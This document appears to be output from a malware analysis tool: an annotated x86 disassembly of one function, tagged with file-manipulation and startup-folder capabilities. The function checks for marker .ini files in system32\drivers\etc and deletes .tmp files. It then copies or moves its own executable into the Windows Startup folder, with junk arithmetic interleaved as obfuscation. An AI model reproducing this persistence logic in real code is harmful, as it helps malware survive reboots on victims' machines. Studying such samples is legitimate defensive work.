Function at 0x401ee0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x458190]
mov dword [esp + 0x300], eax
mov ecx, dword [0x456820]
push esi
mov esi, dword [0x45681c]
mov eax, 0x6cf5c25f
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
push edi
mov edi, eax
mov eax, 0x281003eb
imul ecx
imul ecx, ecx, 0x33d9a16
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
sub eax, edi
imul edx, edx, 0x1eadb5a
add eax, edx
mov edx, dword [0x456824]
imul edx, edx, 0x2b747a3
add eax, edx
add eax, ecx
mov ecx, dword [0x456834]
mov dword [0x45682c], eax
mov eax, 0x281003eb
imul ecx
mov ecx, dword [0x456828]
sar edx, 0x17
mov edi, ecx
mov eax, edx
imul edi, edi, 0x34cd890
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9b24a0b5
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x4eff369
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x33d9718
sub edi, ecx
add edi, edx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x456834], edi
call fcn.0042a5e9
add esp, 8
cmp eax, 0xffffffff
je 0x4023c5
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a5e9
add esp, 8
cmp eax, 0xffffffff
je 0x4023c5
mov esi, dword [0x456834]
mov ecx, dword [0x456820]
mov eax, 0x6cf5c25f
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x858372bd
imul ecx
add edx, ecx
imul ecx, ecx, 0x2b747a3
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
mov ebx, eax
mov eax, 0x17908a77
imul esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
sub ebx, edi
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x33d9a16
push 0x104
lea edx, [esp + 0x210]
push edx
sub eax, ecx
push 0
mov dword [0x456818], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x20c]
push 0x5c
push eax
call fcn.0042a890
push str..tmp
lea ecx, [esp + 0x218]
push ecx
lea edx, [esp + 0x1c]
mov esi, eax
push 0x446b08
push edx
inc esi
call fcn.0042a591
mov edi, dword [0x456818]
mov eax, dword [str._r_____r____]
imul edi, edi, 0x4b2efd8
mov ecx, dword [0x45682c]
imul eax, eax, 0x331ebb8
add edi, eax
mov eax, 0x281003eb
imul ecx
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x456820]
mov eax, 0x62a5c8bd
imul ecx
mov ecx, dword [0x456830]
sar edx, 0x18
mov eax, edx
add esp, 0x18
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
sub edi, ecx
push 0x18
lea ecx, [esp + 0x114]
sub edi, 0x2b747a3
push ecx
mov dword [0x456820], edi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x10c]
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402110
sub eax, ecx
push esi
lea edx, [esp + eax + 0x110]
push 0x446b04
push edx
call fcn.0042a591
mov esi, dword [0x456838]
mov ecx, dword [0x456824]
mov eax, 0x2757ae75
imul esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x64db5f4b
imul ecx
sub edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x2b747a3
mov ebx, eax
sub ebx, edi
sub ebx, edx
mov eax, 0x4a704a7b
imul esi
mov eax, dword [0x45681c]
imul eax, eax, 0x33d9718
sar edx, 0x16
mov esi, edx
shr esi, 0x1f
add ebx, edx
add esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esi, eax
add esp, 0xc
mov dword [0x456828], esi
xor edi, edi
jmp 0x4021b0
mov ecx, dword [0x456824]
mov esi, dword [0x456828]
jmp 0x4021b0
mov eax, 0x62a5c8bd
imul ecx, ecx, 0x298583a
imul esi, esi, 0x10ec18f
imul dword [0x45681c]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45682c]
imul edx, edx, 0x2b747a3
sub ecx, eax
sub ecx, edx
lea eax, [esp + 0xc]
add ecx, esi
push 0
push eax
mov dword [0x456830], ecx
call fcn.0042a5e9
add esp, 8
cmp eax, 0xffffffff
je 0x40220a
lea ecx, [esp + 0xc]
push ecx
call ebx
inc edi
cmp edi, 0x64
jl 0x40219f
mov esi, dword [0x456830]
mov edi, dword [0x456820]
mov ecx, dword [str._r_____r____]
imul edi, edi, 0x340e3f9
mov edx, esi
imul edx, edx, 0x34cd890
sub edi, edx
mov eax, 0x858372bd
imul ecx
add edx, ecx
mov ecx, dword [0x456834]
imul ecx, ecx, 0x2b747a3
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
mov ecx, dword [0x45682c]
mov eax, 0x4eff7f81
imul ecx
sar edx, 0x18
mov ecx, edx
add edi, edx
shr ecx, 0x1f
add ecx, edi
mov edi, dword [esp + 0x314]
test edi, edi
mov dword [0x456838], ecx
je 0x402282
cmp edi, 2
jne 0x402340
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea edx, [esp + 0x110]
push edx
lea eax, [esp + 0x14]
push eax
call esi
test eax, eax
jne 0x402334
mov ecx, dword [0x456824]
mov edi, dword [0x456830]
mov eax, 0x281003eb
imul edi, edi, 0x340e3f9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9b24a0b5
imul ecx
add edx, ecx
mov ecx, dword [0x456838]
imul ecx, ecx, 0xdc19cb
sar edx, 0x19
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, ecx
mov ecx, dword [0x45682c]
mov eax, 0x4eff369
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
push 6
add eax, edx
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0x14]
sub ebx, eax
push edx
mov dword [str._r_____r____], ebx
call esi
pop ebx
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a3c1
add esp, 0x304
ret
mov esi, dword [0x456830]
mov ecx, dword [0x456838]
mov eax, 0x9b24a0b5
imul esi, esi, 0x340e3f9
imul ecx
add edx, ecx
imul ecx, ecx, 0xdc19cb
sar edx, 0x19
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
sub ebx, ecx
mov ecx, dword [0x45681c]
mov eax, 0x4eff7f81
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x456824]
add eax, ebx
sub eax, edx
add eax, 0x298583a
cmp edi, 1
mov dword [0x45681c], eax
je 0x402398
cmp edi, 2
jne 0x4023ad
push 0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a3c1
add esp, 0x304
ret
mov ecx, dword [esp + 0x308]
pop edi
or eax, 0xffffffff
pop esi
call fcn.0042a3c1
add esp, 0x304
ret